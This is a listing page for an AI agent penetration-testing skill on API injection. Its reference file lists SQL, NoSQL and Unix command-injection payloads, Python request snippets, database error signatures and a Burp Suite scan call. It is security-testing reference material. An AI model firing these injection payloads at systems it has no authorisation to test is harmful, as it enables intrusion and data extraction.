peteedoo/project-template / .agents/skills/imported/mukul975--anthropic-cybersecurity-skills/exploiting-api-injection-vulnerabilities
exploiting-api-injection-vulnerabilities
FlaggedTests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious payloads targeting different backend technologies and injection contexts to extract data, execute commands, or access internal services. Maps to OWASP API8:2023 Security Misconfiguration and API7:2023 SSRF. Activates for requests involving API injection testing, SQLi in APIs, NoSQL injection, SSRF testing, or API input validation assessment.
| File | Kind | Size |
|---|---|---|
| LICENSE | other | 11.0 KB |
| SKILL.md | skill md | 19.5 KB |
| references/api-reference.md | markdown | 2.1 KB |
| scripts/agent.py | script | 5.0 KB |
references/api-reference.md
View on GitHub# API Reference: API Injection Vulnerability Testing
## OWASP API Security Top 10
| # | Risk | Description |
|---|------|-------------|
| API1 | Broken Object Level Auth | Accessing other users' data |
| API2 | Broken Authentication | Weak auth mechanisms |
| API3 | Broken Object Property Level Auth | Mass assignment |
| API8 | Security Misconfiguration | Injection via misconfig |
| API10 | Unsafe Consumption | Server-side injection |
## SQL Injection Payloads
### Error-Based
```
' OR '1'='1
' UNION SELECT NULL,NULL--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
```
### Time-Based Blind
```
' AND SLEEP(5)--
' AND pg_sleep(5)--
'; WAITFOR DELAY '0:0:5'--
```
## NoSQL Injection Payloads
### MongoDB Operator Injection
```json
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}}
{"username": {"$regex": "admin.*"}}
```
### Where Clause Injection
```json
{"$where": "this.password == 'test'"}
```
## Command Injection Payloads
### Unix
```
; id
| whoami
$(id)
`id`
```
### Blind Command Injection
```
; sleep 5
| ping -c 5 127.0.0.1
$(sleep 5)
```
## Python requests Library
### GET with Parameters
```python
import requests
resp = requests.get(url, params={"id": payload}, timeout=10, verify=False)
```
### POST with JSON Body
```python
resp = requests.post(url, json={"field": payload}, timeout=10)
```
### Response Analysis
| Attribute | Usage |
|-----------|-------|
| `resp.status_code` | HTTP status |
| `resp.text` | Response body |
| `resp.elapsed.total_seconds()` | Response time |
| `len(resp.content)` | Response size |
## Error Signatures
### SQL Databases
| Database | Error Pattern |
|----------|---------------|
| MySQL | `You have an error in your SQL syntax` |
| PostgreSQL | `ERROR: syntax error at or near` |
| MSSQL | `Unclosed quotation mark` |
| Oracle | `ORA-01756` |
| SQLite | `SQLITE_ERROR` |
## Burp Suite API
### Initiate Scan
```http
POST https://burp:1337/v0.1/scan
Content-Type: application/json
{
"urls": ["https://api.target.com/v1/users"],
"scan_configurations": [{"name": "Audit checks - SQL injection"}]
}
```
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 467k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 467k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 467k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 193k | Updated | Claude CodeCodex | Verified | Install |